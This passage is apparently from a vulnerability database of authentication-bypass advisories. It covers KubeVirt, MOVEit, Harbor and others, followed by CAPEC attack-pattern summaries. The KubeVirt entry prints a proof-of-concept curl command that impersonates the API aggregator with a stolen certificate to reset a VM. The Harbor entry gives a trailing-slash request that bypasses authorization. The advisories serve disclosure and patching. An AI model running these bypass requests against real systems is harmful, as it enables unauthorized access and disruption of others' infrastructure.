domain:\n devices:\n disks:\n - name: containerdisk\n disk:\n bus: virtio\n\n - name: cloudinitdisk\n disk:\n bus: virtio\n resources:\n requests:\n memory: 1024M\n terminationGracePeriodSeconds: 0\n volumes:\n - name: containerdisk\n containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo\n - name: cloudinitdisk \n cloudInitNoCloud:\n userDataBase64: SGkuXG4=\n```\n\nAn attacker with a stolen external authentication proxy certificate could easily reset (hard reboot), freeze, or remove volumes from the virtual machine.\n\n```bash\nroot@compromised-pod:~$ curl -ki --cert rogue-front-proxy.crt --key rogue-front-proxy.key -H \u0027X-Remote-User: system:kube-aggregator\u0027 -H \u0027X-Remote-Group: system:masters\u0027 https://10.244.0.6:8443/apis/subresources.kubevirt.io/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-default/reset -XPUT\n\nHTTP/1.1 200 OK\nDate: Sun, 18 May 2025 16:43:26 GMT\nContent-Length: 0\n```\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThe `virt-api` component may allow an attacker to bypass existing RBAC controls by directly communicating with the aggregated API server, impersonating the Kubernetes API server and its aggregator component.",
"id": "GHSA-38jw-g2qx-4286",
"modified": "2025-11-17T21:44:45Z",
"published": "2025-11-06T23:32:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-38jw-g2qx-4286"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64432"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/231dc69723f331dc02f65a31ab4c3d6869f40d6a"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/af2f08a9a186eccc650f87c30ab3e07b669e8b5b"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/b9773bc588e6e18ece896a2dad5336ef7a653074"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevirt/kubevirt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer "
}
GHSA-38M7-95RG-7M84
Vulnerability from github – Published: 2024-06-25 15:31 – Updated: 2024-06-25 15:31Improper Authentication vulnerability in Progress MOVEit Transfer (SFTP module) can lead to Authentication Bypass in limited scenarios.This issue affects MOVEit Transfer: from 2023.0.0 before 2023.0.11, from 2023.1.0 before 2023.1.6, from 2024.0.0 before 2024.0.2.
{
"affected": [],
"aliases": [
"CVE-2024-5806"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-25T15:15:15Z",
"severity": "HIGH"
},
"details": "Improper Authentication vulnerability in Progress MOVEit Transfer (SFTP module) can lead to Authentication Bypass in limited scenarios.This issue affects MOVEit Transfer: from 2023.0.0 before 2023.0.11, from 2023.1.0 before 2023.1.6, from 2024.0.0 before 2024.0.2.",
"id": "GHSA-38m7-95rg-7m84",
"modified": "2024-06-25T15:31:10Z",
"published": "2024-06-25T15:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5806"
},
{
"type": "WEB",
"url": "https://community.progress.com/s/article/MOVEit-Transfer-Product-Security-Alert-Bulletin-June-2024-CVE-2024-5806"
},
{
"type": "WEB",
"url": "https://www.progress.com/moveit"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-38MP-74C7-2953
Vulnerability from github – Published: 2022-05-17 05:49 – Updated: 2022-05-17 05:49Open&Compact FTP Server (Open-FTPD) 1.2 and earlier allows remote attackers to bypass authentication by sending (1) LIST, (2) RETR, (3) STOR, or other commands without performing the required login steps first.
{
"affected": [],
"aliases": [
"CVE-2010-2620"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-07-02T20:30:00Z",
"severity": "HIGH"
},
"details": "Open\u0026Compact FTP Server (Open-FTPD) 1.2 and earlier allows remote attackers to bypass authentication by sending (1) LIST, (2) RETR, (3) STOR, or other commands without performing the required login steps first.",
"id": "GHSA-38mp-74c7-2953",
"modified": "2022-05-17T05:49:44Z",
"published": "2022-05-17T05:49:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2620"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/40284"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/13932"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-38MQ-VRQG-WRC3
Vulnerability from github – Published: 2022-05-14 03:08 – Updated: 2022-05-14 03:08** DISPUTED ** An issue was discovered in the com.getdropbox.Dropbox app 100.2 for iOS. The LAContext class for Biometric (TouchID) validation allows authentication bypass by overriding the LAContext return Boolean value to be "true" because the kSecAccessControlUserPresence protection mechanism is not used. In other words, an attacker could authenticate with an arbitrary fingerprint. NOTE: the vendor indicates that this is not an attack of interest within the context of their threat model, which excludes iOS devices on which a jailbreak has occurred.
{
"affected": [],
"aliases": [
"CVE-2018-12271"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-13T23:29:00Z",
"severity": "MODERATE"
},
"details": "** DISPUTED ** An issue was discovered in the com.getdropbox.Dropbox app 100.2 for iOS. The LAContext class for Biometric (TouchID) validation allows authentication bypass by overriding the LAContext return Boolean value to be \"true\" because the kSecAccessControlUserPresence protection mechanism is not used. In other words, an attacker could authenticate with an arbitrary fingerprint. NOTE: the vendor indicates that this is not an attack of interest within the context of their threat model, which excludes iOS devices on which a jailbreak has occurred.",
"id": "GHSA-38mq-vrqg-wrc3",
"modified": "2022-05-14T03:08:18Z",
"published": "2022-05-14T03:08:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12271"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/363544"
},
{
"type": "WEB",
"url": "https://gist.github.com/tanprathan/6e8ed195a2e05b7f9d9a342dbdacb349"
},
{
"type": "WEB",
"url": "https://www.dropbox.com/s/n880ob3gtvfwryu/20180609_013320.mp4?dl=0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-38P9-HV7M-9VV5
Vulnerability from github – Published: 2022-05-02 03:12 – Updated: 2022-05-02 03:12** DISPUTED ** NOTE: this issue has been disputed by the upstream vendor. nasl/nasl_crypto2.c in the Nessus Attack Scripting Language library (aka libnasl) 2.2.11 does not properly check the return value from the OpenSSL DSA_do_verify function, which allows remote attackers to bypass validation of the certificate chain via a malformed SSL/TLS signature, a similar vulnerability to CVE-2008-5077. NOTE: the upstream vendor has disputed this issue, stating "while we do misuse this function (this is a bug), it has absolutely no security ramification."
{
"affected": [],
"aliases": [
"CVE-2009-0125"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-01-15T17:30:00Z",
"severity": "MODERATE"
},
"details": "** DISPUTED ** NOTE: this issue has been disputed by the upstream vendor. nasl/nasl_crypto2.c in the Nessus Attack Scripting Language library (aka libnasl) 2.2.11 does not properly check the return value from the OpenSSL DSA_do_verify function, which allows remote attackers to bypass validation of the certificate chain via a malformed SSL/TLS signature, a similar vulnerability to CVE-2008-5077. NOTE: the upstream vendor has disputed this issue, stating \"while we do misuse this function (this is a bug), it has absolutely no security ramification.\"",
"id": "GHSA-38p9-hv7m-9vv5",
"modified": "2022-05-02T03:12:56Z",
"published": "2022-05-02T03:12:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0125"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=479655"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=511517"
},
{
"type": "WEB",
"url": "http://cvs.fedoraproject.org/viewvc/rpms/libnasl/F-10/libnasl.spec?r1=1.16\u0026r2=1.17"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2009-02/msg00000.html"
},
{
"type": "WEB",
"url": "http://openwall.com/lists/oss-security/2009/01/12/4"
},
{
"type": "WEB",
"url": "http://www.attrition.org/pipermail/vim/2009-January/002133.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-38R5-34MR-MVM7
Vulnerability from github – Published: 2022-02-12 00:01 – Updated: 2022-02-12 00:01Impact
Javier Provecho, member of the TCCT (Telefonica Cloud & Cybersecurity Tech better known as ElevenPaths) SRE team discovered a vulnerability regarding Harbor’s v2 API.
The catalog’s registry v2 api is exposed on an unauthenticated path. The current catalog API path is served at the following path and it requires to be authenticated as an admin.
"GET /v2/_catalog"
However, the authorization can be bypassed by using the following path
"GET /v2/_catalog/"
Patches
If your product uses the affected releases of Harbor, update to either version v2.1.2 or v2.0.5 to fix this issue immediately
https://github.com/goharbor/harbor/releases/tag/v2.1.2 https://github.com/goharbor/harbor/releases/tag/v2.0.5
Workarounds
If you cannot access a patched release, it can be mitigated by disabling that API. For example, redirecting it to a 404 sink hole in the ingress.
For more information
If you have any questions or comments about this advisory, contact cncf-harbor-security@lists.cncf.io View our security policy at https://github.com/goharbor/harbor/security/policy https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29662
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/goharbor/harbor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/goharbor/harbor"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-29662"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-319"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-21T19:00:31Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### **Impact**\nJavier Provecho, member of the TCCT (Telefonica Cloud \u0026 Cybersecurity Tech better known as ElevenPaths) SRE team discovered a vulnerability regarding Harbor\u2019s v2 API.\n\nThe catalog\u2019s registry v2 api is exposed on an unauthenticated path. The current catalog API path is served at the following path and it requires to be authenticated as an admin.\n\n\"GET /v2/_catalog\"\n\nHowever, the authorization can be bypassed by using the following path\n\n\"GET /v2/_catalog/\"\n\n### **Patches**\nIf your product uses the affected releases of Harbor, update to either version v2.1.2 or v2.0.5 to fix this issue immediately\n\nhttps://github.com/goharbor/harbor/releases/tag/v2.1.2\nhttps://github.com/goharbor/harbor/releases/tag/v2.0.5\n\n### **Workarounds**\nIf you cannot access a patched release, it can be mitigated by disabling that API. For example, redirecting it to a 404 sink hole in the ingress.\n\n### **For more information**\nIf you have any questions or comments about this advisory, contact cncf-harbor-security@lists.cncf.io\nView our security policy at https://github.com/goharbor/harbor/security/policy\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29662",
"id": "GHSA-38r5-34mr-mvm7",
"modified": "2022-02-12T00:01:51Z",
"published": "2022-02-12T00:01:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/goharbor/harbor/security/advisories/GHSA-38r5-34mr-mvm7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-29662"
},
{
"type": "WEB",
"url": "https://github.com/goharbor/harbor/pull/13676"
},
{
"type": "WEB",
"url": "https://github.com/goharbor/harbor/commit/3481722f140e1fdf6e6d290b0cd5c86e509feed4"
},
{
"type": "WEB",
"url": "https://github.com/goharbor/harbor/commit/c7c409a8e5a8b3fd42841dda84759c9d77977853"
},
{
"type": "WEB",
"url": "https://github.com/goharbor/harbor/releases/tag/v2.0.5"
},
{
"type": "WEB",
"url": "https://github.com/goharbor/harbor/releases/tag/v2.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "\"catalog\u0027s registry v2 api exposed on unauthenticated path in Harbor\""
}
GHSA-38WV-982M-4Q6P
Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-05-24 19:07Improper authentication vulnerability in SCT-40CM01SR and AT-40CM01SR allows an attacker to bypass access restriction and execute an arbitrary command via telnet.
{
"affected": [],
"aliases": [
"CVE-2021-20776"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-07T08:15:00Z",
"severity": "CRITICAL"
},
"details": "Improper authentication vulnerability in SCT-40CM01SR and AT-40CM01SR allows an attacker to bypass access restriction and execute an arbitrary command via telnet.",
"id": "GHSA-38wv-982m-4q6p",
"modified": "2022-05-24T19:07:09Z",
"published": "2022-05-24T19:07:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20776"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN21636825/index.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-38XM-H4PJ-7W7H
Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-06-29 00:00ZTE MF971R product has a Referer authentication bypass vulnerability. Without CSRF verification, an attackercould use this vulnerability to perform illegal authorization operations by sending a request to the user to click.
{
"affected": [],
"aliases": [
"CVE-2021-21745"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-20T16:15:00Z",
"severity": "MODERATE"
},
"details": "ZTE MF971R product has a Referer authentication bypass vulnerability. Without CSRF verification, an attackercould use this vulnerability to perform illegal authorization operations by sending a request to the user to click.",
"id": "GHSA-38xm-h4pj-7w7h",
"modified": "2022-06-29T00:00:43Z",
"published": "2022-05-24T19:18:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21745"
},
{
"type": "WEB",
"url": "https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1019764"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3926-52RM-J54Q
Vulnerability from github – Published: 2022-01-22 00:00 – Updated: 2022-08-31 00:00The web application on Agilia Link+ version 3.0 implements authentication and session management mechanisms exclusively on the client-side and does not protect authentication attributes sufficiently.
{
"affected": [],
"aliases": [
"CVE-2021-23196"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-21T19:15:00Z",
"severity": "CRITICAL"
},
"details": "The web application on Agilia Link+ version 3.0 implements authentication and session management mechanisms exclusively on the client-side and does not protect authentication attributes sufficiently.",
"id": "GHSA-3926-52rm-j54q",
"modified": "2022-08-31T00:00:20Z",
"published": "2022-01-22T00:00:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23196"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsma-21-355-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-39F9-33VW-M4QR
Vulnerability from github – Published: 2022-05-17 01:35 – Updated: 2022-05-17 01:35IBM WebSphere Commerce 6.x through 6.0.0.11 and 7.x through 7.0.0.7 does not properly perform authentication for unspecified web services, which allows remote attackers to issue requests in the context of an arbitrary user's active session via unknown vectors.
{
"affected": [],
"aliases": [
"CVE-2013-2993"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-08-01T13:32:00Z",
"severity": "MODERATE"
},
"details": "IBM WebSphere Commerce 6.x through 6.0.0.11 and 7.x through 7.0.0.7 does not properly perform authentication for unspecified web services, which allows remote attackers to issue requests in the context of an arbitrary user\u0027s active session via unknown vectors.",
"id": "GHSA-39f9-33vw-m4qr",
"modified": "2022-05-17T01:35:38Z",
"published": "2022-05-17T01:35:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2993"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/84031"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg1JR45302"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21644391"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.